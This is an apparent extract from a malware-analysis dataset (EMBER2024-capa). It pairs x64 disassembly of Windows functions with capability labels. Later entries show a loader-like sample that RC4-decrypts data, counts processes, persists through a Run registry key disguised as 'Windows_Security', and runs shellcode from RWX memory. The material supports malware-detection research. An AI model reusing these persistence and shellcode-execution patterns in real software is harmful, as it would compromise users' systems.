joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001b158
Capabilities:
Move file

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x450
mov rax, qword [0x14005e898]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rdi, r8
mov rbx, rcx
lea r8, [rsp + 0x230]
call fcn.14001b8c0
lea r8, [rsp + 0x20]
mov rdx, rdi
mov rcx, rbx
call fcn.14001b8c0
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x230]
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001b26d
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 3
jne 0x14001b206
mov rdx, rdi
mov rcx, rbx
call fcn.14001b50c
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x230]
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
nop dword [rax + rax]
test eax, eax
je 0x14001b2aa
jmp 0x14001b26d
cmp eax, 0x20
je 0x14001b214
cmp eax, 5
jne 0x14001b2bc
mov ebx, 0xa
mov ecx, ebx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
nop dword [rax + rax]
mov r8d, 1
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x230]
call qword [sym.imp.api_ms_win_core_file_l2_1_0.dll_MoveFileExW]
nop dword [rax + rax]
test eax, eax
jne 0x14001b26d
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 0x20
je 0x14001b260
cmp eax, 5
jne 0x14001b28f
cmp ebx, 0x32
je 0x14001b28f
add ebx, 0xa
cmp ebx, 0x3c
jl 0x14001b219
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400360b0
mov rbx, qword [rsp + 0x478]
add rsp, 0x450
pop rdi
ret
movzx ecx, ax
lea rdx, str.File::RenameFileCreateDestPath___after_wait
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140010688
int3
lea rdx, str.File::RenameFileCreateDestPath___after_creating_parent_directories
mov ecx, 0x80070003
call fcn.140010688
int3
movzx ecx, ax
lea rdx, str.File::RenameFileCreateDestPath
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140010688
int3
Function at 0x14001b50c
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x14005e898]
xor rax, rsp
mov qword [rsp + 0x440], rax
movzx eax, word [rdx]
mov rdi, rdx
mov rsi, rcx
cmp ax, 0x5c
jne 0x14001b540
movzx eax, word [rdx + 2]
lea rbx, [rdx + 2]
cmovne rbx, rdi
xor ebp, ebp
jmp 0x14001b559
cmp ax, 0x5c
je 0x14001b55e
add rbx, 2
movzx eax, word [rbx]
test ax, ax
jne 0x14001b54c
cmp word [rbx], bp
je 0x14001b60c
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.msvcrt.dll_memset
mov r9, rbx
lea rcx, [rsp + 0x20]
sub r9, rdi
mov r8, rdi
sar r9, 1
mov edx, 0x104
call qword [sym.imp.msvcrt.dll_wcsncpy_s]
nop dword [rax + rax]
lea r8, [rsp + 0x230]
mov rcx, rsi
lea rdx, [rsp + 0x20]
call fcn.14001b8c0
xor edx, edx
lea rcx, [rsp + 0x230]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_CreateDirectoryW]
nop dword [rax + rax]
test eax, eax
jne 0x14001b5dd
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
cmp eax, 0xb7
jne 0x14001b630
movzx ecx, word [rbx]
mov rax, rbx
cmp cx, 0x5c
jne 0x14001b5fc
lea rax, [rbx + 2]
jmp 0x14001b5f9
cmp cx, 0x5c
je 0x14001b601
add rax, 2
movzx ecx, word [rax]
test cx, cx
jne 0x14001b5ef
cmp word [rax], bp
mov rbx, rax
jmp 0x14001b561
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400360b0
mov rbx, qword [rsp + 0x480]
add rsp, 0x450
pop rdi
pop rsi
pop rbp
ret
movzx ecx, ax
lea rdx, str.File::CreateParentDirectories
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140010688
int3

Function at 0x14001b79c
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rcx, qword [rcx]
lea r9, [rsp + 0x60]
and dword [rsp + 0x60], 0
mov rax, r8
and qword [rsp + 0x20], 0
mov r8d, edx
mov ebx, edx
mov rdx, rax
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_ReadFile]
nop dword [rax + rax]
test eax, eax
je 0x14001b7dd
cmp dword [rsp + 0x60], ebx
jne 0x14001b804
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
lea rdx, str.File::Read
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140010688
int3
lea rcx, [rsp + 0x30]
call fcn.14001b96c
lea rdx, [0x14005be20]
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll__CxxThrowException
int3

Function at 0x14001b828
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
and dword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
mov rax, r8
mov r8d, edx
mov edi, edx
mov rbx, rcx
mov rdx, rax
mov rcx, qword [rcx]
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_WriteFile]
nop dword [rax + rax]
test eax, eax
je 0x14001b875
cmp dword [rsp + 0x40], edi
jne 0x14001b8a6
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rbx + 8], 1
jne 0x14001b87f
and dword [rbx + 8], 0
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
lea rdx, str.File::Write
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
call fcn.140010688
int3
lea rdx, str.E_UNEXPECTED
mov ecx, 0x8000ffff
call fcn.140010688
int3
Function at 0x140026274
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov ebx, r8d
mov rcx, qword [rdx]
mov rdi, rdx
call qword [sym.imp.api_ms_win_core_winrt_string_l1_1_0.dll_WindowsGetStringLen]
nop dword [rax + rax]
cmp eax, ebx
jae 0x1400262b0
mov rcx, qword [rdi]
call qword [sym.imp.api_ms_win_core_winrt_string_l1_1_0.dll_WindowsGetStringLen]
nop dword [rax + rax]
mov ebx, eax
lea r8, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov edx, 4
mov rcx, rsi
call fcn.14001b828
mov rcx, qword [rdi]
xor edx, edx
call qword [sym.imp.api_ms_win_core_winrt_string_l1_1_0.dll_WindowsGetStringRawBuffer]
nop dword [rax + rax]
lea edx, [rbx + rbx]
mov rcx, rsi
mov r8, rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14001b828
Function at 0x14002cbdc
Capabilities:
Modify service

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x70
mov qword [rax - 0x18], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov edi, 0xf003f
mov r8d, edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenSCManagerW]
nop dword [rax + rax]
mov rbx, rax
mov qword [rsp + 0x88], rax
test rax, rax
je 0x14002ccea
mov r8d, edi
lea rdx, str.XblGameSave
mov rcx, rax
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_OpenServiceW]
nop dword [rax + rax]
mov rdi, rax
mov qword [rsp + 0x90], rax
test rax, rax
jne 0x14002cc67
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x14002cd41
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
or edx, 0xffffffff
mov r9d, edx
mov r8d, 3
mov rcx, rdi
call qword [sym.imp.api_ms_win_service_management_l2_1_0.dll_ChangeServiceConfigW]
nop dword [rax + rax]
test eax, eax
jne 0x14002ccce
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
test ecx, ecx
js 0x14002cd34
call fcn.14002ca0c
nop
test rdi, rdi
je 0x14002cd11
mov rcx, rdi
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
jmp 0x14002cd11
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
nop dword [rax + rax]
movzx ecx, ax
or ecx, 0x80070000
test eax, eax
cmovle ecx, eax
lea rdx, str.ChangeServiceStart
call fcn.140010418
nop
test rbx, rbx
je 0x14002cd25
mov rcx, rbx
call qword [sym.imp.api_ms_win_service_management_l1_1_0.dll_CloseServiceHandle]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
lea rdx, str.HRESULT_FROM_WIN32_GetLastError___
call fcn.140010688
nop
lea rdx, str.HRESULT_FROM_WIN32_GetLastError___
call fcn.140010688
int3
Function at 0x1400358f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
mov eax, dword [r8]
mov rdi, r8
lea rsi, [0x140000000]
not eax
mov r11d, edx
mov r10, rcx
cmp edx, 0xf
jl 0x1400359fa
mov r9d, ecx
mov qword [rsp + 0x10], rbx
and r9d, 7
je 0x140035953
neg r9d
and r9d, 7
sub r11d, r9d
nop dword [rax]
movzx edx, byte [r10]
mov ecx, eax
xor rdx, rcx
inc r10
shr ecx, 8
movzx r8d, dl
mov eax, dword [rsi + r8*4 + 0x4ca90]
xor eax, ecx
sub r9d, 1
jne 0x140035930
mov ebx, r11d
sar ebx, 3
and r11d, 7
nop dword [rax]
mov rcx, qword [r10]
add r10, 8
mov r8, rcx
mov r9d, ecx
mov ecx, eax
xor r9, rcx
shr r8, 0x20
mov rax, r8
shr rax, 0x10
movzx edx, al
mov rax, r8
shr rax, 8
movzx ecx, al
mov eax, dword [rsi + rdx*4 + 0x4ce90]
xor eax, dword [rsi + rcx*4 + 0x4d690]
mov rcx, r9
shr rcx, 0x10
movzx edx, cl
mov rcx, r9
shr rcx, 8
xor eax, dword [rsi + rdx*4 + 0x4e290]
movzx edx, cl
mov rcx, r8
shr rcx, 0x18
xor eax, dword [rsi + rdx*4 + 0x4de90]
xor eax, dword [rsi + rcx*4 + 0x4ca90]
mov rcx, r9
shr rcx, 0x18
xor eax, dword [rsi + rcx*4 + 0x4c690]
movzx ecx, r8b
xor eax, dword [rsi + rcx*4 + 0x4da90]
movzx ecx, r9b
xor eax, dword [rsi + rcx*4 + 0x4d290]
sub ebx, 1
jne 0x140035960
mov rbx, qword [rsp + 0x10]
test r11d, r11d
je 0x140035a24
nop
movzx edx, byte [r10]
lea r10, [r10 + 1]
mov ecx, eax
xor rdx, rcx
shr ecx, 8
movzx r8d, dl
mov eax, dword [rsi + r8*4 + 0x4ca90]
xor eax, ecx
sub r11d, 1
jne 0x140035a00
mov rsi, qword [rsp + 0x18]
not eax
mov dword [rdi], eax
pop rdi
ret
Function at 0x140035eb0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14005f738], rbx
je 0x140035efc
cmp rax, rbx
jne 0x140035eef
mov ebx, 1
mov esi, ebx
jmp 0x140035f01
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140035ed4
mov ebx, 1
mov eax, dword [0x14005f740]
cmp eax, ebx
jne 0x140035f17
mov ecx, 0x1f
call fcn.1400f1000
jmp 0x140035f7c
mov eax, dword [0x14005f740]
test eax, eax
jne 0x140035f76
mov dword [0x14005f740], ebx
lea r15, [0x140043888]
lea rdi, [0x140043870]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x140035f68
test eax, eax
jne 0x140035f6c
cmp qword [rdi], 0
je 0x140035f5d
mov rax, qword [rdi]
mov rcx, qword [0x140043810]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140035f3e
test eax, eax
je 0x140035f7c
mov eax, 0xff
jmp 0x140036058
mov dword [0x14005eac4], ebx
mov eax, dword [0x14005f740]
cmp eax, ebx
jne 0x140035fa3
lea rdx, [0x140043868]
lea rcx, [0x140043818]
call sub.msvcrt.dll__initterm
mov dword [0x14005f740], 2
test esi, esi
jne 0x140035fb0
xor eax, eax
xchg qword [0x14005f738], rax
cmp qword [0x14005f748], 0
je 0x140035fe4
lea rcx, [0x14005f748]
call fcn.1400362b0
test eax, eax
je 0x140035fe4
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14005f748]
mov r9, qword [0x140043810]
call r9
mov r8, qword [0x14005ead8]
mov rdx, qword [0x14005ead0]
mov ecx, dword [0x14005eac8]
call fcn.1400013f8
mov dword [0x14005eac0], eax
cmp dword [0x14005eae0], 0
jne 0x140036014
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14005eac4], 0
jne 0x140036029
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14005eac0]
jmp 0x140036058
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140036344
add rsp, 0x28
jmp 0x140035eb0

Function at 0x14003619c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400361e8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400361e0
cmp dword [rcx + 0x3c], edx
jl 0x1400361e0
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1400361e0
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x1400361e8
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400385f0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x18
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rcx, r9
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x88]
mov r13, rsi
mov rsi, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xd0]
mov qword [rsp], r8
mov r8d, dword [rsp + 0x98]
mov r14, rdx
mov r15, rcx
xor eax, eax
mov esi, dword [rsi]
mov ebx, dword [rbx]
mov qword [rsp + 8], rax
jmp 0x140038658
add eax, 1
add esi, 1
mov dword [rsp + 8], eax
cmp esi, dword [rsp + 0xa0]
jge 0x140038789
cmp eax, dword [rsp + 0xa8]
jge 0x140038789
movzx eax, byte [rsi + rdi + 2]
shl ebx, 5
xor ebx, eax
mov r11, rsi
and ebx, r8d
movsxd rbp, dword [r9 + rbx*4]
mov dword [r9 + rbx*4], esi
mov r12, rdi
sub r11, rbp
cmp r11d, dword [rsp + 0x90]
jge 0x140038759
cmp ebp, dword [rsp + 0xb0]
jge 0x1400386ab
mov r12, qword [rsp]
movzx eax, word [rsi + rdi]
lea r10, [rsi + rdi]
movzx ecx, word [rbp + r12]
lea r12, [rbp + r12]
cmp eax, ecx
jne 0x140038759
xor ecx, ecx
mov rax, qword [rcx + r10]
mov rdx, qword [rcx + r12]
xor rax, rdx
jne 0x1400386f3
add ecx, 8
cmp ecx, 0x100
jl 0x1400386c8
movzx eax, word [rcx + r10]
movzx edx, word [rcx + r12]
xor eax, edx
jne 0x1400386f3
add ecx, 2
jmp 0x1400386fd
bsf rax, rax
shr rax, 3
add ecx, eax
cmp ecx, 3
jl 0x140038759
lea rbp, [rsi + 1]
lea rsi, [rcx + rsi - 1]
lea rdx, [rcx - 3]
movzx ecx, byte [rbp + rdi + 2]
shl ebx, 5
xor ebx, ecx
and ebx, r8d
mov dword [r9 + rbx*4], ebp
add ebp, 1
cmp ebp, esi
jle 0x14003870f
lea rcx, [r11 - 1]
cmp r11, 0x101
jl 0x14003873d
shr ecx, 7
add ecx, 0x100
movzx ecx, byte [rcx + r13 + 0x100]
add word [r15 + rcx*4], 1
movzx ebp, byte [rdx + r13]
add ebp, 0x101
jmp 0x140038762
xor r11, r11
movzx edx, byte [rsi + rdi]
mov ebp, edx
add word [r14 + rbp*4], 1
mov eax, dword [rsp + 8]
mov rcx, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xb8]
mov word [rcx + rax*2], r11w
mov byte [rax + rbp], dl
jmp 0x14003864e
mov rdi, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
mov dword [rdi], esi
mov dword [rcx], ebx
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
ret
Function at 0x140d8e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140d8e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140d8e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d8e06f
add dl, dl
jne 0x140d8e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d8e0f6
xor eax, eax
add dl, dl
jne 0x140d8e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140d8e1ad
add dl, dl
jne 0x140d8e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d8e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d8e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d8e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140d8e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140d8e07e
mov eax, 1
add dl, dl
jne 0x140d8e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140d8e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d8e0fb
sub eax, ebx
mov ebx, 1
jne 0x140d8e14c
mov ecx, 1
add dl, dl
jne 0x140d8e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d8e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d8e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d8e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140d8e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140d8e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140d8e15d
cmp eax, 0x7d00
jae 0x140d8e19b
cmp eax, 0x500
jb 0x140d8e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d8e07e
cmp eax, 0x7f
ja 0x140d8e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140d8e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140d8e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140d8e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, 0x100
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002670
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002670
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001570
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140002670
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001570
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.1400031c0
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x100
call fcn.140002670
mov r8d, 0x100
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001570
add rsp, 0x158
ret

Function at 0x1400014d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
sub rsp, 0x30
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0
call fcn.140001310
mov rsi, rax
test rax, rax
je 0x14000154a
mov qword [rsp + 0x40], rbx
lea rcx, str.kernel32.dll
mov qword [rsp + 0x48], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [rsp + 0x20]
mov r9d, 0x40
mov edx, edi
mov r8d, 0x3000
xor ecx, ecx
call rax
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.14000a9c0
call rbx
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rsi
ret
Function at 0x1400031c0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140002f94
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f94
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f94
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f94
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f94
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f94
cmp dword [rcx + 0xf8], esi
je 0x140002f94
mov ecx, r14d
call fcn.1400030dc
mov ecx, 2
call fcn.140004534
nop
cmp byte [0x140016120], 0
jne 0x14000305e
mov r15d, 1
mov eax, r15d
xchg dword [0x140016110], eax
test ebx, ebx
jne 0x140003007
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140016118]
cmp rcx, rax
je 0x140002ffe
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140001d34]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140016378]
jmp 0x140003013
cmp ebx, r15d
jne 0x140003019
lea rcx, [0x140016390]
call fcn.140004038
nop
test ebx, ebx
jne 0x140003030
lea rdx, [0x14000c2d8]
lea rcx, [0x14000c2b8]
call fcn.1400039ec
lea rdx, [0x14000c2e8]
lea rcx, [0x14000c2e0]
call fcn.1400039ec
movzx eax, byte [0x140016120]
test esi, esi
cmove eax, r15d
mov byte [0x140016120], al
jmp 0x14000305e
mov ecx, 2
call fcn.140004588
test esi, esi
jne 0x140003075
mov ecx, r14d
call fcn.140003090
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140002f24